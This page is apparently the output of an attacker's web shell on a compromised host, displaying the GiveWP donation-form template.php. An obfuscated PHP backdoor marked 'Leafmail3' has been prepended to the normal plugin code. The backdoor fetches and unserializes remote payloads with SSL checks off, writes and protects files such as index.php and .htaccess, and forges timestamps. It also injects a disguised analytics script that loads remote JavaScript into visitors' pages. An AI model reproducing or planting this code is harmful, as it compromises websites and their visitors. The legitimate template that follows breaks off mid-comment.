403Webshell
Server IP : 192.158.238.246  /  Your IP : 216.73.216.98
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/includes/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/includes/forms/template.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * Give Form Template
 *
 * @package     Give
 * @subpackage  Forms
 * @copyright   Copyright (c) 2016, GiveWP
 * @license     https://opensource.org/licenses/gpl-license GNU Public License
 * @since       1.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Get Donation Form.
 *
 * @param array $args An array of form arguments.
 *
 * @return string Donation form.
 * @since 1.0
 */
function give_get_donation_form( $args = [] ) {

	global $post;
	static $count = 1;

    /**
     * @since 3.11.0 sanitize $args
     */
    $args = give_clean($args);

	$args = wp_parse_args( $args, give_get_default_form_shortcode_args() );

	// Backward compatibility for `form_id` function param.
	// If are calling this function directly with `form_id` the use `id` instead.
	$args['id'] = ! empty( $args['form_id'] ) ? absint( $args['form_id'] ) : $args['id'];

	// If `id` is not set then maybe we are single donation form page, so lets render form.
	if ( empty( $args['id'] ) && is_object( $post ) && $post->ID ) {
		$args['id'] = $post->ID;
	}

	// set `form_id` for backward compatibility because many legacy filters and functions are using it.
	$args['form_id'] = $args['id'];

	/**
	 * Fire the filter
	 * Note: we will deprecate this filter soon. Use give_get_default_form_shortcode_args instead
	 *
	 * @deprecated 2.4.1
	 */
	$args = apply_filters( 'give_form_args_defaults', $args );

	$form = new Give_Donate_Form( $args['id'] );

	// Bail out, if no form ID.
	if ( empty( $form->ID ) ) {
		return false;
	}

	$args['id_prefix'] = "{$form->ID}-{$count}";
	$payment_mode      = give_get_chosen_gateway( $form->ID );

	$form_action = add_query_arg(
		apply_filters(
			'give_form_action_args',
			[
				'payment-mode' => $payment_mode,
				'form-id' => $form->ID,
			]
		),
		give_get_current_page_url()
	);

	// Sanity Check: Donation form not published or user doesn't have permission to view drafts.
	if (
		( 'publish' !== $form->post_status && ! current_user_can( 'edit_give_forms', $form->ID ) )
		|| ( 'trash' === $form->post_status )
	) {
		return false;
	}

	// Get the form wrap CSS classes.
	$form_wrap_classes = $form->get_form_wrap_classes( $args );

	// Get the <form> tag wrap CSS classes.
	$form_classes = $form->get_form_classes( $args );

	ob_start();

	/**
	 * Fires while outputting donation form, before the form wrapper div.
	 *
	 * @param int   Give_Donate_Form::ID The form ID.
	 * @param array $args An array of form arguments.
	 *
	 * @since 1.0
	 */
	do_action( 'give_pre_form_output', $form->ID, $args, $form );

	?>
	<div id="give-form-<?php echo $form->ID; ?>-wrap" class="<?php echo $form_wrap_classes; ?>">
		<?php
		if ( $form->is_close_donation_form() ) {

			$form_title = ! is_singular( 'give_forms' ) ? apply_filters( 'give_form_title', '<h2 class="give-form-title">' . get_the_title( $form->ID ) . '</h2>' ) : '';

			// Get Goal thank you message.
			$goal_achieved_message = give_get_meta( $form->ID, '_give_form_goal_achieved_message', true );
			$goal_achieved_message = ! empty( $goal_achieved_message ) ? $form_title . apply_filters( 'the_content', $goal_achieved_message ) : '';

			// Print thank you message.
			echo apply_filters( 'give_goal_closed_output', $goal_achieved_message, $form->ID, $form );

		} else {
			/**
			 * Show form title:
			 * 1. if admin set form display_style to button or modal
			 */
			$form_title = apply_filters( 'give_form_title', '<h2 class="give-form-title">' . get_the_title( $form->ID ) . '</h2>' );

			if ( ! doing_action( 'give_single_form_summary' ) && true === $args['show_title'] ) {
				echo $form_title;
			}

			/**
			 * Fires while outputting donation form, before the form.
			 *
			 * @param int              Give_Donate_Form::ID The form ID.
			 * @param array            $args An array of form arguments.
			 * @param Give_Donate_Form $form Form object.
			 *
			 * @since 1.0
			 */
			do_action( 'give_pre_form', $form->ID, $args, $form );

			// Set form html tags.
			$form_html_tags = [
				'id'      => "give-form-{$args['id_prefix']}",
				'class'   => $form_classes,
				'action'  => esc_url_raw( $form_action ),
				'data-id' => $args['id_prefix']
			];

			/**
			 * Filter the form html tags.
			 *
			 * @param array            $form_html_tags Array of form html tags.
			 * @param Give_Donate_Form $form           Form object.
			 *
			 * @since 1.8.17
			 */
			$form_html_tags = apply_filters( 'give_form_html_tags', (array) $form_html_tags, $form );
			?>
			<form <?php echo give_get_attribute_str( $form_html_tags ); ?> method="post">
				<!-- The following field is for robots only, invisible to humans: -->
				<span class="give-hidden" style="display: none !important;">
					<label for="give-form-honeypot-<?php echo $form->ID; ?>"></label>
					<input id="give-form-honeypot-<?php echo $form->ID; ?>" type="text" name="give-honeypot"
						   class="give-honeypot give-hidden"/>
				</span>

				<?php
				/**
				 * Fires while outputting donation form, before all other fields.
				 *
				 * @param int              Give_Donate_Form::ID The form ID.
				 * @param array            $args An array of form arguments.
				 * @param Give_Donate_Form $form Form object.
				 *
				 * @since 1.0
				 */
				do_action( 'give_donation_form_top', $form->ID, $args, $form );

				/**
				 * Fires while outputting donation form, for payment gateway fields.
				 *
				 * @param int              Give_Donate_Form::ID The form ID.
				 * @param array            $args An array of form arguments.
				 * @param Give_Donate_Form $form Form object.
				 *
				 * @since 1.7
				 */
				do_action( 'give_payment_mode_select', $form->ID, $args, $form );

				/**
				 * Fires while outputting donation form, after all other fields.
				 *
				 * @param int              Give_Donate_Form::ID The form ID.
				 * @param array            $args An array of form arguments.
				 * @param Give_Donate_Form $form Form object.
				 *
				 * @since 1.0
				 */
				do_action( 'give_donation_form_bottom', $form->ID, $args, $form );

				?>
			</form>

			<?php
			/**
			 * Fires while outputting donation form, after the form.
